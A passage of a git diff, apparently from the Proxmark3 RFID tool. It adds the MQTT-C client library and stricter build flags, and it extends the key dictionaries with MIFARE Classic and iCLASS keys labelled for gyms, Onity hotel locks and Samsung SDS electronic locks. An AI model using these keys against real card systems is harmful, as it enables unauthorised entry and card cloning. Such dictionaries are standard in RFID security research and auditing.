MQTTErrors mqtt_init(struct mqtt_client *client, + mqtt_pal_socket_handle sockfd, + uint8_t *sendbuf, size_t sendbufsz, + uint8_t *recvbuf, size_t recvbufsz, + void (*publish_response_callback)(void **state, struct mqtt_response_publish *publish)); + +/** + * @brief Initializes an MQTT client and enables automatic reconnections. + * @ingroup api + * + * An alternative to \ref mqtt_init that allows the client to automatically reconnect to the + * broker after an error occurs (e.g. socket error or internal buffer overflows). + * + * This is accomplished by calling the \p reconnect_callback whenever the client enters an error + * state. The job of the \p reconnect_callback is to: (1) perform error handling/logging, + * (2) clean up the old connection (i.e. close client->socketfd), (3) \ref mqtt_reinit the + * client, and (4) reconfigure the MQTT session by calling \ref mqtt_connect followed by other + * API calls such as \ref mqtt_subscribe. + * + * The first argument to the \p reconnect_callback is the client (which will be in an error + * state) and the second argument is a pointer to a void pointer where you can store some state + * information. Internally, MQTT-C calls the reconnect callback like so: + * + * \code + * client->reconnect_callback(client, &client->reconnect_state) + * \endcode + * + * Note that the \p reconnect_callback is also called to setup the initial session. After + * calling \ref mqtt_init_reconnect the client will be in the error state + * \c MQTT_ERROR_INITIAL_RECONNECT. + * + * @pre None. + * + * @param[in,out] client The MQTT client that will be initialized. + * @param[in] reconnect_callback The callback that will be called to connect/reconnect the + * client to the broker and perform application level error handling. + * @param[in] reconnect_state A pointer to some state data for your \p reconnect_callback. + * If your \p reconnect_callback does not require any state information set this + * to NULL. A pointer to the memory address where the client stores a copy of this + * pointer is passed as the second argumnet to \p reconnect_callback. + * @param[in] publish_response_callback The callback to call whenever application messages + * are received from the broker. + * + * @post Call \p reconnect_callback yourself, or call \ref mqtt_sync + * (which will trigger the call to \p reconnect_callback). + * + * @attention Only initialize an MQTT client once (i.e. don't call \ref mqtt_init or + * \ref mqtt_init_reconnect more than once per client). + * + */ +void mqtt_init_reconnect(struct mqtt_client *client, + void (*reconnect_callback)(struct mqtt_client *client, void **state), + void *reconnect_state, + void (*publish_response_callback)(void **state, struct mqtt_response_publish *publish)); + +/** + * @brief Safely assign/reassign a socket and buffers to an new/existing client. + * @ingroup api + * + * This function also clears the \p client error state. Upon exiting this function + * \c client->error will be \c MQTT_ERROR_CONNECT_NOT_CALLED (which will be cleared) + * as soon as \ref mqtt_connect is called. + * + * @pre This function must be called BEFORE \ref mqtt_connect. + * + * @param[in,out] client The MQTT client. + * @param[in] socketfd The new socket connected to the broker. + * @param[in] sendbuf The buffer that will be used to buffer egress traffic to the broker. + * @param[in] sendbufsz The size of \p sendbuf in bytes. + * @param[in] recvbuf The buffer that will be used to buffer ingress traffic from the broker. + * @param[in] recvbufsz The size of \p recvbuf in bytes. + * + * @post Call \ref mqtt_connect. + * + * @attention This function should be used in conjunction with clients that have been + * initialzed with \ref mqtt_init_reconnect. + */ +void mqtt_reinit(struct mqtt_client *client, + mqtt_pal_socket_handle socketfd, + uint8_t *sendbuf, size_t sendbufsz, + uint8_t *recvbuf, size_t recvbufsz); + +/** + * @brief Establishes a session with the MQTT broker. + * @ingroup api + * + * @pre mqtt_init must have been called. + * + * @param[in,out] client The MQTT client. + * @param[in] client_id The unique name identifying the client. (or NULL) + * @param[in] will_topic The topic name of client's \p will_message. If no will message is + * desired set to \c NULL. + * @param[in] will_message The application message (data) to be published in the event the + * client ungracefully disconnects. Set to \c NULL if \p will_topic is \c NULL. + * @param[in] will_message_size The size of \p will_message in bytes. + * @param[in] user_name The username to use when establishing the session with the MQTT broker. + * Set to \c NULL if a username is not required. + * @param[in] password The password to use when establishing the session with the MQTT broker. + * Set to \c NULL if a password is not required. + * @param[in] connect_flags Additional \ref MQTTConnectFlags to use when establishing the connection. + * These flags are for forcing the session to start clean, + * \c MQTT_CONNECT_CLEAN_SESSION, the QOS level to publish the \p will_message with + * (provided \c will_message != \c NULL), MQTT_CONNECT_WILL_QOS_[0,1,2], and whether + * or not the broker should retain the \c will_message, MQTT_CONNECT_WILL_RETAIN. + * @param[in] keep_alive The keep-alive time in seconds. A reasonable value for this is 400 [seconds]. + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +enum MQTTErrors mqtt_connect(struct mqtt_client *client, + const char *client_id, + const char *will_topic, + const void *will_message, + size_t will_message_size, + const char *user_name, + const char *password, + uint8_t connect_flags, + uint16_t keep_alive); + +/* + todo: will_message should be a void* +*/ + +/** + * @brief Publish an application message. + * @ingroup api + * + * Publishes an application message to the MQTT broker. + * + * @pre mqtt_connect must have been called. + * + * @param[in,out] client The MQTT client. + * @param[in] topic_name The name of the topic. + * @param[in] application_message The data to be published. + * @param[in] application_message_size The size of \p application_message in bytes. + * @param[in] publish_flags \ref MQTTPublishFlags to be used, namely the QOS level to + * publish at (MQTT_PUBLISH_QOS_[0,1,2]) or whether or not the broker should + * retain the publish (MQTT_PUBLISH_RETAIN). + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +enum MQTTErrors mqtt_publish(struct mqtt_client *client, + const char *topic_name, + const void *application_message, + size_t application_message_size, + uint8_t publish_flags); + +/** + * @brief Acknowledge an ingree publish with QOS==1. + * @ingroup details + * + * @param[in,out] client The MQTT client. + * @param[in] packet_id The packet ID of the ingress publish being acknowledged. + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +ssize_t __mqtt_puback(struct mqtt_client *client, uint16_t packet_id); + +/** + * @brief Acknowledge an ingree publish with QOS==2. + * @ingroup details + * + * @param[in,out] client The MQTT client. + * @param[in] packet_id The packet ID of the ingress publish being acknowledged. + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +ssize_t __mqtt_pubrec(struct mqtt_client *client, uint16_t packet_id); + +/** + * @brief Acknowledge an ingree PUBREC packet. + * @ingroup details + * + * @param[in,out] client The MQTT client. + * @param[in] packet_id The packet ID of the ingress PUBREC being acknowledged. + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +ssize_t __mqtt_pubrel(struct mqtt_client *client, uint16_t packet_id); + +/** + * @brief Acknowledge an ingree PUBREL packet. + * @ingroup details + * + * @param[in,out] client The MQTT client. + * @param[in] packet_id The packet ID of the ingress PUBREL being acknowledged. + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +ssize_t __mqtt_pubcomp(struct mqtt_client *client, uint16_t packet_id); + + +/** + * @brief Subscribe to a topic. + * @ingroup api + * + * @pre mqtt_connect must have been called. + * + * @param[in,out] client The MQTT client. + * @param[in] topic_name The name of the topic to subscribe to. + * @param[in] max_qos_level The maximum QOS level with which the broker can send application + * messages for this topic. + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +enum MQTTErrors mqtt_subscribe(struct mqtt_client *client, + const char *topic_name, + int max_qos_level); + +/** + * @brief Unsubscribe from a topic. + * @ingroup api + * + * @pre mqtt_connect must have been called. + * + * @param[in,out] client The MQTT client. + * @param[in] topic_name The name of the topic to unsubscribe from. + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +enum MQTTErrors mqtt_unsubscribe(struct mqtt_client *client, + const char *topic_name); + +/** + * @brief Ping the broker. + * @ingroup api + * + * @pre mqtt_connect must have been called. + * + * @param[in,out] client The MQTT client. + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +enum MQTTErrors mqtt_ping(struct mqtt_client *client); + +/** + * @brief Ping the broker without locking/unlocking the mutex. + * @see mqtt_ping + */ +enum MQTTErrors __mqtt_ping(struct mqtt_client *client); + +/** + * @brief Terminate the session with the MQTT broker. + * @ingroup api + * + * @pre mqtt_connect must have been called. + * + * @param[in,out] client The MQTT client. + * + * @note To re-establish the session, mqtt_connect must be called. + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +enum MQTTErrors mqtt_disconnect(struct mqtt_client *client); + +/** + * @brief Terminate the session with the MQTT broker and prepare to + * reconnect. Client code should call \ref mqtt_sync immediately + * after this call to prevent message loss. + * @ingroup api + * + * @note The user must provide a reconnect callback function for this to + * work as expected. See \r mqtt_client_reconnect. + * + * @pre mqtt_connect must have been called +* + * @param[in,out] client The MQTT client. + * + * @returns \c MQTT_OK upon success, an \ref MQTTErrors otherwise. + */ +enum MQTTErrors mqtt_reconnect(struct mqtt_client *client); + +#if defined(__cplusplus) +} +#endif + +#endif diff --git a/client/deps/mqtt/mqtt_pal.c b/client/deps/mqtt/mqtt_pal.c new file mode 100644 index 000000000..9ebab98b6 --- /dev/null +++ b/client/deps/mqtt/mqtt_pal.c @@ -0,0 +1,235 @@ +/* +MIT License + +Copyright(c) 2018 Liam Bindle + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files(the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions : + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +*/ + +#include "mqtt.h" + +/** + * @file + * @brief Implements @ref mqtt_pal_sendall and @ref mqtt_pal_recvall and + * any platform-specific helpers you'd like. + * @cond Doxygen_Suppress + */ + +#if defined(MQTT_USE_CUSTOM_SOCKET_HANDLE) + +/* + * In case of MQTT_USE_CUSTOM_SOCKET_HANDLE, a pal implemantation is + * provided by the user. + */ + +/* Note: Some toolchains complain on an object without symbols */ + +int _mqtt_pal_dummy; + +#else /* defined(MQTT_USE_CUSTOM_SOCKET_HANDLE) */ + +#if defined(MQTT_USE_MBEDTLS) +#include + +ssize_t mqtt_pal_sendall(mqtt_pal_socket_handle fd, const void *buf, size_t len, int flags) { + enum MQTTErrors error = 0; + size_t sent = 0; + while (sent < len) { + int rv = mbedtls_ssl_write(fd, (const unsigned char *)buf + sent, len - sent); + if (rv < 0) { + if (rv == MBEDTLS_ERR_SSL_WANT_READ || + rv == MBEDTLS_ERR_SSL_WANT_WRITE +#if defined(MBEDTLS_ERR_SSL_ASYNC_IN_PROGRESS) + || rv == MBEDTLS_ERR_SSL_ASYNC_IN_PROGRESS +#endif +#if defined(MBEDTLS_ERR_SSL_CRYPTO_IN_PROGRESS) + || rv == MBEDTLS_ERR_SSL_CRYPTO_IN_PROGRESS +#endif + ) { + /* should call mbedtls_ssl_write later again */ + break; + } + error = MQTT_ERROR_SOCKET_ERROR; + break; + } + /* + * Note: rv can be 0 here eg. when mbedtls just flushed + * the previous incomplete record. + * + * Note: we never send an empty TLS record. + */ + sent += (size_t) rv; + } + if (sent == 0) { + return error; + } + return (ssize_t)sent; +} + +ssize_t mqtt_pal_recvall(mqtt_pal_socket_handle fd, void *buf, size_t bufsz, int flags) { + const void *const start = buf; + enum MQTTErrors error = 0; + int rv; + do { + rv = mbedtls_ssl_read(fd, (unsigned char *)buf, bufsz); + if (rv == 0) { + /* + * Note: mbedtls_ssl_read returns 0 when the underlying + * transport was closed without CloseNotify. + * + * Raise an error to trigger a reconnect. + */ + error = MQTT_ERROR_SOCKET_ERROR; + break; + } + if (rv < 0) { + if (rv == MBEDTLS_ERR_SSL_WANT_READ || + rv == MBEDTLS_ERR_SSL_WANT_WRITE +#if defined(MBEDTLS_ERR_SSL_ASYNC_IN_PROGRESS) + || rv == MBEDTLS_ERR_SSL_ASYNC_IN_PROGRESS +#endif +#if defined(MBEDTLS_ERR_SSL_CRYPTO_IN_PROGRESS) + || rv == MBEDTLS_ERR_SSL_CRYPTO_IN_PROGRESS +#endif + ) { + /* should call mbedtls_ssl_read later again */ + break; + } + /* Note: MBEDTLS_ERR_SSL_PEER_CLOSE_NOTIFY is handled here. */ + error = MQTT_ERROR_SOCKET_ERROR; + break; + } + buf = (char *)buf + rv; + bufsz -= (unsigned long)rv; + } while (bufsz > 0); + if (buf == start) { + return error; + } + return (const char *)buf - (const char *)start; +} + +#elif defined(__unix__) || defined(__APPLE__) || defined(__NuttX__) + +#include + +ssize_t mqtt_pal_sendall(mqtt_pal_socket_handle fd, const void *buf, size_t len, int flags) { + enum MQTTErrors error = 0; + size_t sent = 0; + while (sent < len) { + ssize_t rv = send(fd, (const char *)buf + sent, len - sent, flags); + if (rv < 0) { + if (errno == EAGAIN) { + /* should call send later again */ + break; + } + error = MQTT_ERROR_SOCKET_ERROR; + break; + } + if (rv == 0) { + /* is this possible? maybe OS bug. */ + error = MQTT_ERROR_SOCKET_ERROR; + break; + } + sent += (size_t) rv; + } + if (sent == 0) { + return error; + } + return (ssize_t)sent; +} + +ssize_t mqtt_pal_recvall(mqtt_pal_socket_handle fd, void *buf, size_t bufsz, int flags) { + const void *const start = buf; + enum MQTTErrors error = 0; + ssize_t rv; + do { + rv = recv(fd, buf, bufsz, flags); + if (rv == 0) { + /* + * recv returns 0 when the socket is (half) closed by the peer. + * + * Raise an error to trigger a reconnect. + */ + error = MQTT_ERROR_SOCKET_ERROR; + break; + } + if (rv < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK) { + /* should call recv later again */ + break; + } + /* an error occurred that wasn't "nothing to read". */ + error = MQTT_ERROR_SOCKET_ERROR; + break; + } + buf = (char *)buf + rv; + bufsz -= (unsigned long)rv; + } while (bufsz > 0); + if (buf == start) { + return error; + } + return (char *)buf - (const char *)start; +} + +#elif defined(_MSC_VER) || defined(WIN32) + +#include + +ssize_t mqtt_pal_sendall(mqtt_pal_socket_handle fd, const void *buf, size_t len, int flags) { + size_t sent = 0; + while (sent < len) { + ssize_t tmp = send(fd, (char *)buf + sent, len - sent, flags); + if (tmp < 1) { + return MQTT_ERROR_SOCKET_ERROR; + } + sent += (size_t) tmp; + } + return sent; +} + +ssize_t mqtt_pal_recvall(mqtt_pal_socket_handle fd, void *buf, size_t bufsz, int flags) { + const char *const start = buf; + ssize_t rv; + do { + rv = recv(fd, buf, bufsz, flags); + if (rv > 0) { + /* successfully read bytes from the socket */ + buf = (char *)buf + rv; + bufsz -= rv; + } else if (rv < 0) { + int err = WSAGetLastError(); + if (err != WSAEWOULDBLOCK) { + /* an error occurred that wasn't "nothing to read". */ + return MQTT_ERROR_SOCKET_ERROR; + } + } + } while (rv > 0 && bufsz > 0); + + return (ssize_t)((char *)buf - start); +} + +#else + +#error No PAL! + +#endif + +#endif /* defined(MQTT_USE_CUSTOM_SOCKET_HANDLE) */ + +/** @endcond */ diff --git a/client/deps/mqtt/mqtt_pal.h b/client/deps/mqtt/mqtt_pal.h new file mode 100644 index 000000000..87b84500b --- /dev/null +++ b/client/deps/mqtt/mqtt_pal.h @@ -0,0 +1,173 @@ +#if !defined(__MQTT_PAL_H__) +#define __MQTT_PAL_H__ + +/* +MIT License + +Copyright(c) 2018 Liam Bindle + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files(the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions : + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +*/ + +#if defined(__cplusplus) +extern "C" { +#endif + +/** + * @file + * @brief Includes/supports the types/calls required by the MQTT-C client. + * + * @note This is the \em only file included in mqtt.h, and mqtt.c. It is therefore + * responsible for including/supporting all the required types and calls. + * + * @defgroup pal Platform abstraction layer + * @brief Documentation of the types and calls required to port MQTT-C to a new platform. + * + * mqtt_pal.h is the \em only header file included in mqtt.c. Therefore, to port MQTT-C to a + * new platform the following types, functions, constants, and macros must be defined in + * mqtt_pal.h: + * - Types: + * - \c size_t, \c ssize_t + * - \c uint8_t, \c uint16_t, \c uint32_t + * - \c va_list + * - \c mqtt_pal_time_t : return type of \c MQTT_PAL_TIME() + * - \c mqtt_pal_mutex_t : type of the argument that is passed to \c MQTT_PAL_MUTEX_LOCK and + * \c MQTT_PAL_MUTEX_RELEASE + * - Functions: + * - \c memcpy, \c strlen + * - \c va_start, \c va_arg, \c va_end + * - Constants: + * - \c INT_MIN + * + * Additionally, three macro's are required: + * - \c MQTT_PAL_HTONS(s) : host-to-network endian conversion for uint16_t. + * - \c MQTT_PAL_NTOHS(s) : network-to-host endian conversion for uint16_t. + * - \c MQTT_PAL_TIME() : returns [type: \c mqtt_pal_time_t] current time in seconds. + * - \c MQTT_PAL_MUTEX_LOCK(mtx_pointer) : macro that locks the mutex pointed to by \c mtx_pointer. + * - \c MQTT_PAL_MUTEX_RELEASE(mtx_pointer) : macro that unlocks the mutex pointed to by + * \c mtx_pointer. + * + * Lastly, \ref mqtt_pal_sendall and \ref mqtt_pal_recvall, must be implemented in mqtt_pal.c + * for sending and receiving data using the platforms socket calls. + */ + + +/* UNIX-like platform support */ +#if defined(__unix__) || defined(__APPLE__) || defined(__NuttX__) +#include +#include +#include +#include +#include +#include + +#define MQTT_PAL_HTONS(s) htons(s) +#define MQTT_PAL_NTOHS(s) ntohs(s) + +#define MQTT_PAL_TIME() time(NULL) + +typedef time_t mqtt_pal_time_t; +typedef pthread_mutex_t mqtt_pal_mutex_t; + +#define MQTT_PAL_MUTEX_INIT(mtx_ptr) pthread_mutex_init(mtx_ptr, NULL) +#define MQTT_PAL_MUTEX_LOCK(mtx_ptr) pthread_mutex_lock(mtx_ptr) +#define MQTT_PAL_MUTEX_UNLOCK(mtx_ptr) pthread_mutex_unlock(mtx_ptr) + +#if !defined(MQTT_USE_CUSTOM_SOCKET_HANDLE) +#if defined(MQTT_USE_MBEDTLS) +struct mbedtls_ssl_context; +typedef struct mbedtls_ssl_context *mqtt_pal_socket_handle; +#else +typedef int mqtt_pal_socket_handle; +#endif +#endif + +#elif defined(_MSC_VER) || defined(WIN32) +#include +#include +#include +#include +#include + +typedef SSIZE_T ssize_t; +#define MQTT_PAL_HTONS(s) htons(s) +#define MQTT_PAL_NTOHS(s) ntohs(s) + +#define MQTT_PAL_TIME() time(NULL) + +typedef time_t mqtt_pal_time_t; +typedef CRITICAL_SECTION mqtt_pal_mutex_t; + +#define MQTT_PAL_MUTEX_INIT(mtx_ptr) InitializeCriticalSection(mtx_ptr) +#define MQTT_PAL_MUTEX_LOCK(mtx_ptr) EnterCriticalSection(mtx_ptr) +#define MQTT_PAL_MUTEX_UNLOCK(mtx_ptr) LeaveCriticalSection(mtx_ptr) + + +#if !defined(MQTT_USE_CUSTOM_SOCKET_HANDLE) +typedef SOCKET mqtt_pal_socket_handle; +#endif + +#endif + +/** + * @brief Sends all the bytes in a buffer. + * @ingroup pal + * + * @param[in] fd The file-descriptor (or handle) of the socket. + * @param[in] buf A pointer to the first byte in the buffer to send. + * @param[in] len The number of bytes to send (starting at \p buf). + * @param[in] flags Flags which are passed to the underlying socket. + * + * @returns The number of bytes sent if successful, an \ref MQTTErrors otherwise. + * + * Note about the error handling: + * - On an error, if some bytes have been processed already, + * this function should return the number of bytes successfully + * processed. (partial success) + * - Otherwise, if the error is an equivalent of EAGAIN, return 0. + * - Otherwise, return MQTT_ERROR_SOCKET_ERROR. + */ +ssize_t mqtt_pal_sendall(mqtt_pal_socket_handle fd, const void *buf, size_t len, int flags); + +/** + * @brief Non-blocking receive all the byte available. + * @ingroup pal + * + * @param[in] fd The file-descriptor (or handle) of the socket. + * @param[in] buf A pointer to the receive buffer. + * @param[in] bufsz The max number of bytes that can be put into \p buf. + * @param[in] flags Flags which are passed to the underlying socket. + * + * @returns The number of bytes received if successful, an \ref MQTTErrors otherwise. + * + * Note about the error handling: + * - On an error, if some bytes have been processed already, + * this function should return the number of bytes successfully + * processed. (partial success) + * - Otherwise, if the error is an equivalent of EAGAIN, return 0. + * - Otherwise, return MQTT_ERROR_SOCKET_ERROR. + */ +ssize_t mqtt_pal_recvall(mqtt_pal_socket_handle fd, void *buf, size_t bufsz, int flags); + +#if defined(__cplusplus) +} +#endif + + +#endif diff --git a/client/deps/mqtt/posix_sockets.h b/client/deps/mqtt/posix_sockets.h new file mode 100644 index 000000000..42954f640 --- /dev/null +++ b/client/deps/mqtt/posix_sockets.h @@ -0,0 +1,73 @@ +#if !defined(__POSIX_SOCKET_TEMPLATE_H__) +#define __POSIX_SOCKET_TEMPLATE_H__ + +#ifndef _WIN32 + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// A template for opening a non-blocking POSIX socket. + +void close_nb_socket(int sockfd); +int open_nb_socket(const char *addr, const char *port); + +int open_nb_socket(const char *addr, const char *port) { + + struct addrinfo hints; + memset(&hints, 0, sizeof(hints)); + + hints.ai_family = AF_UNSPEC; /* IPv4 or IPv6 */ + hints.ai_socktype = SOCK_STREAM; /* Must be TCP */ + + struct addrinfo *p, *servinfo; + + /* get address information */ + int rv = getaddrinfo(addr, port, &hints, &servinfo); + if (rv != 0) { + fprintf(stderr, "Failed to open socket (getaddrinfo): %s\n", gai_strerror(rv)); + return -1; + } + + /* open the first possible socket */ + int sockfd = -1; + for (p = servinfo; p != NULL; p = p->ai_next) { + sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol); + if (sockfd == -1) { + continue; + } + + /* connect to server */ + rv = connect(sockfd, p->ai_addr, p->ai_addrlen); + if (rv == -1) { + close(sockfd); + sockfd = -1; + continue; + } + break; + } + + // free servinfo + freeaddrinfo(servinfo); + + // make non-blocking + if (sockfd != -1) { + fcntl(sockfd, F_SETFL, fcntl(sockfd, F_GETFL) | O_NONBLOCK); + } + + return sockfd; +} + +void close_nb_socket(int sockfd) { + if (sockfd != -1) { + close(sockfd); + } +} +#endif +#endif diff --git a/client/deps/mqtt/readme.md b/client/deps/mqtt/readme.md new file mode 100644 index 000000000..c7e437b7e --- /dev/null +++ b/client/deps/mqtt/readme.md @@ -0,0 +1,15 @@ + +# Information +Source: https://github.com/LiamBindle/MQTT-C +License: MIT +Authors: + +MQTT-C was initially developed as a CMPT 434 (Winter Term, 2018) final project at the University of Saskatchewan by: + + - Liam Bindle + - Demilade Adeoye + + +# about +MQTT-C is an MQTT v3.1.1 client written in C. MQTT is a lightweight publisher-subscriber-based messaging protocol that is commonly used in IoT and networking applications where high-latency and low data-rate links are expected. The purpose of MQTT-C is to provide a portable MQTT client, written in C, for embedded systems and PC's alike. MQTT-C does this by providing a transparent Platform Abstraction Layer (PAL) which makes porting to new platforms easy. MQTT-C is completely thread-safe but can also run perfectly fine on single-threaded systems making MQTT-C well-suited for embedded systems and microcontrollers. Finally, MQTT-C is small; there are only two source files totalling less than 2000 lines. + diff --git a/client/deps/mqtt/win32_sockets.h b/client/deps/mqtt/win32_sockets.h new file mode 100644 index 000000000..4775bb851 --- /dev/null +++ b/client/deps/mqtt/win32_sockets.h @@ -0,0 +1,92 @@ +#if !defined(__WIN32_SOCKET_TEMPLATE_H__) +#define __WIN32_SOCKET_TEMPLATE_H__ + +#include +#include + +#ifdef _WIN32 +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +void close_nb_socket(mqtt_pal_socket_handle sockfd); +mqtt_pal_socket_handle open_nb_socket(const char *addr, const char *port); + +mqtt_pal_socket_handle open_nb_socket(const char *addr, const char *port) { + + WSADATA wsaData; + int res = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (res != 0) { + fprintf(stderr, "error: WSAStartup failed with error: %i", res); + return INVALID_SOCKET; + } + + struct addrinfo hints; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_UNSPEC; // IPv4 or IPv6 + hints.ai_socktype = SOCK_STREAM; // Must be TCP + hints.ai_protocol = IPPROTO_TCP; // + + struct addrinfo *p, *servinfo; + // get address information + int rv = getaddrinfo(addr, port, &hints, &servinfo); + if (rv != 0) { + fprintf(stderr, "error: getaddrinfo: %s", gai_strerror(rv)); + WSACleanup(); + return INVALID_SOCKET; + } + + /* open the first possible socket */ + SOCKET hSocket = INVALID_SOCKET; + for (p = servinfo; p != NULL; p = p->ai_next) { + hSocket = socket(p->ai_family, p->ai_socktype, p->ai_protocol); + + if (hSocket == INVALID_SOCKET) { + continue; + } + + // connect to server + if (connect(hSocket, p->ai_addr, (int)p->ai_addrlen) != INVALID_SOCKET) { + break; + } + + closesocket(hSocket); + hSocket = INVALID_SOCKET; + + } + + // free servinfo + freeaddrinfo(servinfo); + + if (p == NULL) { // No address succeeded + fprintf(stderr, "error: Could not connect"); + WSACleanup(); + return INVALID_SOCKET; + } + + // make non-blocking + if (hSocket != INVALID_SOCKET) { + u_long mode = 1; // FIONBIO returns size on 32b + ioctlsocket(hSocket, FIONBIO, &mode); + } + + int flag = 1; + res = setsockopt(hSocket, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(flag)); + if (res != 0) { + closesocket(hSocket); + WSACleanup(); + return INVALID_SOCKET; + } + + return hSocket; +} + +void close_nb_socket(mqtt_pal_socket_handle sockfd) { + if (sockfd != INVALID_SOCKET) { + closesocket(sockfd); + } +} +#endif + +#endif diff --git a/client/deps/reveng.cmake b/client/deps/reveng.cmake index 1040730f1..d7e3cfd8a 100644 --- a/client/deps/reveng.cmake +++ b/client/deps/reveng.cmake @@ -13,5 +13,5 @@ target_include_directories(pm3rrg_rdv4_reveng PRIVATE ../src ../../include) target_include_directories(pm3rrg_rdv4_reveng INTERFACE reveng) -target_compile_options(pm3rrg_rdv4_reveng PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_reveng PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_reveng PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/tinycbor.cmake b/client/deps/tinycbor.cmake index c74618149..5a6abda25 100644 --- a/client/deps/tinycbor.cmake +++ b/client/deps/tinycbor.cmake @@ -11,5 +11,5 @@ add_library(pm3rrg_rdv4_tinycbor STATIC target_include_directories(pm3rrg_rdv4_tinycbor INTERFACE tinycbor) # Strange errors on Mingw when compiling with -O3 -target_compile_options(pm3rrg_rdv4_tinycbor PRIVATE -Wall -O2) +target_compile_options(pm3rrg_rdv4_tinycbor PRIVATE -Wall -Werror -O2) set_property(TARGET pm3rrg_rdv4_tinycbor PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/tinycbor/compilersupport_p.h b/client/deps/tinycbor/compilersupport_p.h index 91d88229e..3223324d9 100644 --- a/client/deps/tinycbor/compilersupport_p.h +++ b/client/deps/tinycbor/compilersupport_p.h @@ -179,7 +179,9 @@ #ifndef unlikely # define unlikely(x) __builtin_expect(!!(x), 0) #endif +#ifndef unreachable # define unreachable() __builtin_unreachable() +#endif #elif defined(_MSC_VER) # define likely(x) (x) # define unlikely(x) (x) diff --git a/client/deps/whereami.cmake b/client/deps/whereami.cmake index 721873066..d2d6a5b2a 100644 --- a/client/deps/whereami.cmake +++ b/client/deps/whereami.cmake @@ -2,5 +2,5 @@ add_library(pm3rrg_rdv4_whereami STATIC whereami/whereami.c) target_compile_definitions(pm3rrg_rdv4_whereami PRIVATE WAI_PM3_TUNED) target_include_directories(pm3rrg_rdv4_whereami INTERFACE whereami) -target_compile_options(pm3rrg_rdv4_whereami PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_whereami PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_whereami PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/dictionaries/iclass_default_keys.dic b/client/dictionaries/iclass_default_keys.dic index c717cd88f..d1d76d2b1 100644 --- a/client/dictionaries/iclass_default_keys.dic +++ b/client/dictionaries/iclass_default_keys.dic @@ -39,3 +39,5 @@ C1B74D7478053AE2 # # default iCLASS RFIDeas 6B65797374726B72 +# Retrieved from Custom Keyed Systems +E9924C13F4BFA82C diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index b9d40a54c..d6db9392b 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -47,6 +47,10 @@ AABBCCDDEEFF 4D3A99C351DD 1A982C7E459A # +# Gym +FAFAFAFAFAFA +FBFBFBFBFBFB +# # key A Wien D3F7D3F7D3F7 # @@ -354,6 +358,8 @@ AFBECD121004 # Onity S1 A/B 8A19D40CF2B5 # +3961EA82C46D +# # 24-7 D21762B2DE3B 0E83A374B513 @@ -1899,15 +1905,14 @@ FF16014FEFC7 # Food GEM 6686FADE5566 # -# Samsung Data Systems (SDS) — Electronic Locks -# Gen 1 S10 KA/KB is FFFFFFFFFFFF, incompatible with Gen 2 locks -# -# SDS Gen 2 S10 KB +# Samsung Data Systems (SDS) +# 10-11 A/B (Gen 2) +9B7C25052FC3 C22E04247D9A +6C4F77534170 +704153564F6C # # Data from Discord, French pool -# SDS Gen 2 S10 KA -9B7C25052FC3 494446555455 # # Data from Discord, seems to be related to ASSA @@ 